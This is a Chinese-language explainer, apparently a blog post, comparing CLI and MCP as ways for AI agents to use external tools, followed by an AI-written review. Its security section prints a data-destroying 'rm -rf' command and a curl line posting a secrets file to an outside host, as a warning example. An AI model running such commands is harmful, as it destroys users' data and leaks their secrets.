當 AI Agent 需要與外部世界互動時，該讓它敲指令，還是講協議？
前言：一個簡單的問題
假設你有一個 AI 助手，你希望它幫你查資料庫、讀檔案、呼叫 API。問題來了——它該怎麼跟這些工具溝通？
目前主流有兩條路：
- CLI（Command Line Interface）：讓 AI 直接執行 shell 指令，就像一個坐在終端機前的工程師。
- MCP（Model Context Protocol）：Anthropic 提出的開放協議，讓 AI 透過標準化的 JSON-RPC 介面與工具互動。
這兩者看起來都能達成目的，但背後的設計哲學截然不同。這篇文章會用最直覺的方式，帶你理解它們各自的優勢、限制，以及適用場景。
先搞懂它們是什麼
CLI：你最熟悉的老朋友
CLI 就是你在終端機裡敲的那些指令——ls、grep、curl、docker、git。它的運作模式很簡單：
輸入一段文字指令 → 系統執行 → 回傳文字結果
當 AI 使用 CLI 時，本質上就是：AI 生成一段 shell command，交給作業系統執行，再讀取 stdout/stderr 的輸出。
MCP：為 AI 量身打造的協議
MCP 的全名是 Model Context Protocol，由 Anthropic 於 2024 年底提出。它定義了一套標準化的方式，讓 AI 模型能夠：
- 發現可用的工具（Tool Discovery）
- 了解每個工具的參數結構（Schema）
- 透過結構化的 JSON-RPC 呼叫工具
- 接收結構化的回應
你可以把 MCP 想像成 AI 世界的 USB 介面——不管是什麼設備（資料庫、瀏覽器、API），只要實作了 MCP Server，AI 就能用統一的方式「插上去」使用。
AI ←→ MCP Client ←→ MCP Server ←→ 實際工具/服務
心智模型：餐廳點餐 vs. 自己進廚房
想像你在一間餐廳：
| CLI | MCP | |
|---|---|---|
| 比喻 | 你直接走進廚房，自己操作爐子、刀具、冰箱 | 你看菜單、跟服務生點餐、拿到做好的菜 |
| 彈性 | 極高——廚房裡什麼都能做 | 受限於菜單上有的選項 |
| 安全性 | 你可能切到手、燒到東西 | 廚房與你隔離，風險由廚師承擔 |
| 學習成本 | 要知道廚房怎麼運作 | 只要看得懂菜單就好 |
這個比喻不完美，但抓住了核心差異：CLI 給你原始的系統存取權，MCP 給你受控的工具介面。
逐項比較
1. 安全性與權限控制
CLI 的風險是真實的。 當你讓 AI 執行 shell 指令，它理論上可以做到任何你（使用者）能做的事——刪檔案、改設定、發網路請求。即使有 sandbox 機制，邊界往往模糊。
# AI 可能生成這樣的指令——你確定要讓它執行嗎？
rm -rf /important/data
curl -X POST https://external-api.com -d @secrets.json
MCP 天生就有邊界。 每個 MCP Server 只暴露它定義好的工具。AI 不會「越獄」到工具以外的功能，因為協議本身就不支援。
{
"name": "query_database",
"description": "執行唯讀 SQL 查詢",
"inputSchema": {
"type": "object",
"properties": {
"sql": { "type": "string" },
"database": { "type": "string", "enum": ["analytics", "logs"] }
}
}
}
結論：MCP 在安全性上有結構性優勢。 CLI 的安全性依賴「AI 不會生成危險指令」這個脆弱的假設。
2. 工具發現與可用性
CLI 的問題：AI 怎麼知道有哪些工具可用？
CLI 的世界是開放的。系統上裝了什麼指令、有哪些 flag、版本差異——這些 AI 需要靠訓練資料中的知識來猜測。
MCP 的優勢：自我描述。
MCP Server 啟動時會告訴 Client：「我有這些工具，每個工具接受這些參數。」AI 不需要猜，它拿到的就是一份完整的「菜單」。
MCP 工具發現流程：
Client → Server: "你有什麼工具？"
Server → Client: "我有 3 個工具，schema 如下..."
Client → AI: "你可以使用這些工具：[...]"
結論：MCP 消除了「工具存不存在」的不確定性。
3. 結構化 vs. 非結構化
CLI 的輸出是文字。 AI 需要解析 stdout 來理解結果。跨平台差異、ANSI 色碼都會增加解析難度。
MCP 的輸出是結構化的。 JSON 格式、型別明確、可預期。
結論：MCP 減少了解析錯誤的風險。 但 CLI 的文字輸出對 LLM 來說其實相當友善——畢竟語言模型就是為了理解文字而生。
4. 生態系統與覆蓋範圍
CLI 的生態系統已經發展了 50 年。 幾乎所有開發者工具都有 CLI 介面。
MCP 的生態系統正在快速成長，但仍在早期。 已有數百個 MCP Server 可用，但覆蓋範圍遠不及 CLI。
結論：CLI 在覆蓋範圍上遙遙領先。 MCP 的價值在於「做得更好」而非「做得更多」。
5. 開發與維護成本
| 面向 | CLI | MCP |
|---|---|---|
| 使用現有工具 | 零成本——直接呼叫 | 需要有人寫 MCP Server |
| 客製化整合 | 寫 shell script | 實作 MCP Server（SDK 支援多語言） |
| 版本管理 | 依賴系統安裝的版本 | Server 獨立版控 |
| 跨平台相容 | 需處理 OS 差異 | 協議層統一，實作層各自處理 |
6. 即時互動與串流
MCP 支援雙向通訊——進度回報、串流傳輸、主動推送。
CLI 的互動模式較單一——基本上是「執行→等待→拿結果」。
流程圖：AI 使用工具的決策路徑
AI 需要執行一個動作
│
▼
┌─────────────────────┐
│ 有對應的 MCP Server？ │
└─────────┬───────────┘
Yes │ No
│ │
▼ ▼
┌─────────┐ ┌──────────────────┐
│ 用 MCP │ │ 有對應的 CLI 工具？│
│ 呼叫工具 │ └────────┬─────────┘
└─────────┘ Yes │ No
│ │
▼ ▼
┌─────────┐ ┌──────────┐
│ 用 CLI │ │ 告訴使用者 │
│ 執行指令 │ │ 無法完成 │
└─────────┘ └──────────┘
在實務上，最強的 AI Agent 通常兩者都用——MCP 優先，CLI 作為 fallback。
什麼時候該用哪個？
適合用 MCP 的場景
- 需要嚴格權限控制的環境（生產環境、多人共用的 Agent）
- 頻繁互動的工具（資料庫查詢、API 呼叫、瀏覽器操作）
- 需要結構化輸出的場景（資料分析、報表生成）
- 跨平台部署的 Agent
適合用 CLI 的場景
- 快速原型開發（不想為每個工具寫 Server）
- 一次性任務（偶爾需要的系統操作）
- 利用成熟工具鏈（git、docker 等）
- 本機開發環境（安全風險可控的情境下）
兩者混用的場景（最常見）
- Claude Code、Cursor 等 AI 程式碼助手——同時支援 MCP 工具與終端機指令
- 企業內部 Agent——核心功能用 MCP 封裝，邊緣需求 fallback 到 CLI
延伸思考
MCP 會取代 CLI 嗎？
不會。它們服務的對象不同：
- CLI 是給人用的介面（雖然 AI 也能用）
- MCP 是給 AI 用的介面（雖然人也能理解）
MCP 的隱憂
- 中心化風險：Server 的品質與安全性由誰把關？
- 過度抽象：為簡單操作建立 MCP Server 可能是殺雞用牛刀
- 協議演進：MCP 仍在快速迭代中，早期採用者需承擔相容性風險
給開發者的建議
- 建構 AI Agent：優先評估 MCP 生態系統，沒有的話再考慮 CLI 或自己寫 MCP Server。
- 建構開發者工具：考慮同時提供 CLI 和 MCP 介面。CLI 給人用，MCP 給 AI 用。
- 評估安全性：MCP 的權限模型更可控，但仍需審查每個 Server 的實作。
總結
| 維度 | CLI | MCP |
|---|---|---|
| 安全性 | 依賴約束，風險較高 | 協議層隔離，結構性安全 |
| 生態系統 | 極其成熟，覆蓋範圍廣 | 快速成長中，但仍在早期 |
| 結構化程度 | 文字輸出，需解析 | JSON 結構化，型別明確 |
| 學習曲線 | 開發者熟悉，直接可用 | 需理解協議，有 SDK 降低門檻 |
| 適用場景 | 本機開發、快速原型 | 生產環境、嚴格權限控制 |
| 彈性 | 極高，幾乎無限制 | 受限於 Server 暴露的工具 |
最終答案不是二選一，而是理解它們的互補關係。 CLI 是 AI 的瑞士刀——萬用但需要小心使用；MCP 是 AI 的專業工具箱——每件工具都有明確用途和安全護欄。
在 AI Agent 日益成熟的今天，掌握兩者的適用場景，比押注其中一方更加務實。
本文撰寫於 2026 年 4 月。MCP 生態系統正在快速演進中，建議參考 MCP 官方文件 取得最新資訊。
🤖 Model Evaluation & Final Comments
Evaluated by: Gemini 2.0 Flash (Strict Reviewer Mode)
Final Reviewer Comments:
客觀評價：這是一篇優秀的科普文章，架構清晰且比喻精妙，非常有利於概念推廣。但在技術批判性上仍顯不足，對 MCP 的優點描述過於理想化，對 CLI 的安全防禦能力則有所低估。
具體缺點與改進建議：
- 安全風險描述不全面：目前僅討論了 AI 「越獄」的風險，忽略了 MCP Server 內部實作可能引入的漏洞。建議補充：開發者必須對 MCP Server 進行嚴格的輸入驗證。
- 忽視效能與成本：完全未提及 MCP 的網路延遲與 Server 維運成本。建議在總結表格中增加「效能開銷」與「運維難度」兩個維度。
- 缺乏遷移指導：對於想從 CLI 轉向 MCP 的讀者，文章缺乏明確的轉換門檻評估。建議增加一段關於「何時不該將 CLI 轉為 MCP」的標準。